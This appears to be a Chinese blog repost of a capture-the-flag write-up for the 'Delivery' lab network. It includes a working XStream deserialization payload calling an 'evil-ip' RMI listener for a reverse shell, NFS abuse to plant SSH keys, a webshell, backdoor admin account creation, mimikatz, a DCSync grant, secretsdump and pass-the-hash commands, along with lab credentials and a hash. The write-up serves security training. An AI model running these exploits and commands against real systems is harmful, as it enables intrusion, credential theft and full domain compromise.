春秋云镜-Delivery

admin 2024年10月13日21:07:59评论7 views字数 6773阅读22分34秒阅读模式
春秋云镜-Delivery

flag01

先扫一波给出的 IP 端口

start infoscan
39.98.115.204:80 open
39.98.115.204:21 open
39.98.115.204:8080 open
39.98.115.204:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://39.98.115.204      code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[+] ftp://39.98.115.204:21:anonymous
   [->]1.txt
   [->]pom.xml
[*] WebTitle: http://39.98.115.204:8080 code:200 len:3655   title:公司发货单
已完成 4/4
[*] 扫描结束,耗时: 53.683603791s

ftp 匿名登录获取到 web.xml 文件内容春秋云镜-Delivery

很明显考的 XStream 反序列化命令执行,根据版本可以锁定对应的 CVE 编号 CVE-2021-29505,通过 ysoserial 的 JRMPListener 启动 RMI 监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,base64编码的反弹shell语句}|{base64,-d}|{bash,-i}"

POC

POST /just_sumbit_it HTTP/1.1
Host: 39.98.127.86:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: http://39.98.127.86:8080
Connection: close
Referer: http://39.98.127.86:8080/

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>evil-ip</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>evil-ip</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

把其中的 evil-ip 改为自己的地址即可,反弹 shell 拿到权限,读 flag春秋云镜-Delivery

flag02

当前机子为 172.22.13.14,上传 fscan 做信息收集,并做好代理

172.22.13.57:80 open
172.22.13.28:80 open
172.22.13.14:80 open
172.22.13.57:22 open
172.22.13.14:22 open
172.22.13.14:21 open
172.22.13.28:135 open
172.22.13.6:135 open
172.22.13.6:139 open
172.22.13.28:139 open
172.22.13.6:445 open
172.22.13.28:445 open
172.22.13.28:3306 open
172.22.13.28:8000 open
172.22.13.14:8080 open
172.22.13.6:88 open
[*] WebTitle: http://172.22.13.14       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetInfo:
[*]172.22.13.6
   [->]WIN-DC
   [->]172.22.13.6
[*] NetInfo:
[*]172.22.13.28
   [->]WIN-HAUWOLAO
   [->]172.22.13.28
[*] WebTitle: http://172.22.13.28       code:200 len:2525   title:欢迎登录OA办公平台
[*] WebTitle: http://172.22.13.57       code:200 len:4833   title:Welcome to CentOS
[*] NetBios: 172.22.13.6     [+]DC XIAORANGWIN-DC          
[*] WebTitle: http://172.22.13.14:8080  code:200 len:3655   title:公司发货单
[*] WebTitle: http://172.22.13.28:8000  code:200 len:170    title:Nothing Here.
[*] NetBios: 172.22.13.28    WIN-HAUWOLAO.xiaorang.lab           Windows Server 2016 Datacenter 14393 
[+] ftp://172.22.13.14:21:anonymous 
   [->]1.txt
   [->]pom.xml
[+] mysql:172.22.13.28:3306:root 123456

这里先不看 mysql 的,根据关卡提示,寻找开启 NFS 的主机,最后发现 172.22.13.57 这台存在 NFS 未授权春秋云镜-Delivery

列出的目录包含 joyce 用户目录,可以通过写入 autorized_keys 配置 ssh 连接,先挂载目录到第一台机子的 /tmp/icq 路径

# 第一台机子需要下载依赖
apt install nfs-common

mount -t nfs 172.22.13.57:/ /tmp/icq
春秋云镜-Delivery

然后把本地生成的 id_rsa.pub 公钥文件写入到挂载目录的 .ssh/authorized_keys春秋云镜-Delivery

再 ssh 连接春秋云镜-Delivery

读取 flag 文件权限不足,这里还有一个 pAss.txt 文件给了一个域用户账号和密码春秋云镜-Delivery

xiaorang.lab/zhangwenQT62f3gBhK1

看看 SUID春秋云镜-Delivery

这里查看 crontab 没有 root 用户起的定时任务 ,pkexec 也处于安全版本,还剩一个 ftp 可以利用。在第一台机子上开启 ftp

python3 -m pyftpdlib -p 6666 -u dotast -P 123456 -w
春秋云镜-Delivery

然后通过第二台机子连接 ftp 服务,put flag 文件过来春秋云镜-Delivery

获取第二个 flag春秋云镜-Delivery

flag03

现在还剩 OA 和 域控两台机器,前面获取到的域用户账号可以登录 172.22.13.28 这台 OA 机器,RDP 连接过去春秋云镜-Delivery

flag 在 Administrator 文件夹里,权限不够读。在 web 目录写一个 webshell,把权限提到最高权限春秋云镜-Delivery

这里可以直接读 flag,为了后续方便,我这里创建一个管理员用户

创建新用户dotast
net user dotast qwer1234! /add
将用户dotast添加至管理员组
net localgroup administrators dotast /add

再 RDP 连接过去拿到第三个 flag春秋云镜-Delivery

flag04

老规矩,先上传 mimikatz 抓一下用户密码春秋云镜-Delivery

抓到另一个域用户账号密码:chenglei/Xt61f3LBhg1,接着做一下域环境分析春秋云镜-Delivery

春秋云镜-Delivery

chenglei 域用户在 ACL_ADMIN 组里,那就很好办了,有 WriteDACL 权限,rdp 连上 chenglei 账号,上传 powerview.ps1 文件,给 chenglei 添加 DCSync

Import-Module .powerview.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose
春秋云镜-Delivery

导出域管哈希

proxychains impacket-secretsdump xiaorang.lab/chenglei:[email protected] -just-dc
春秋云镜-Delivery
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a

PTH 哈希传递读取 flag

proxychains crackmapexec smb 172.22.13.6 -u administrator -H6341235defdaed66fb7b682665752c9a -d xiaorang.lab -x "type UsersAdministratorflagflag04.txt"
春秋云镜-Delivery

原文始发于微信公众号(虹猫少侠):春秋云镜-Delivery

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日21:07:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋云镜-Deliveryhttps://cn-sec.com/archives/1941050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息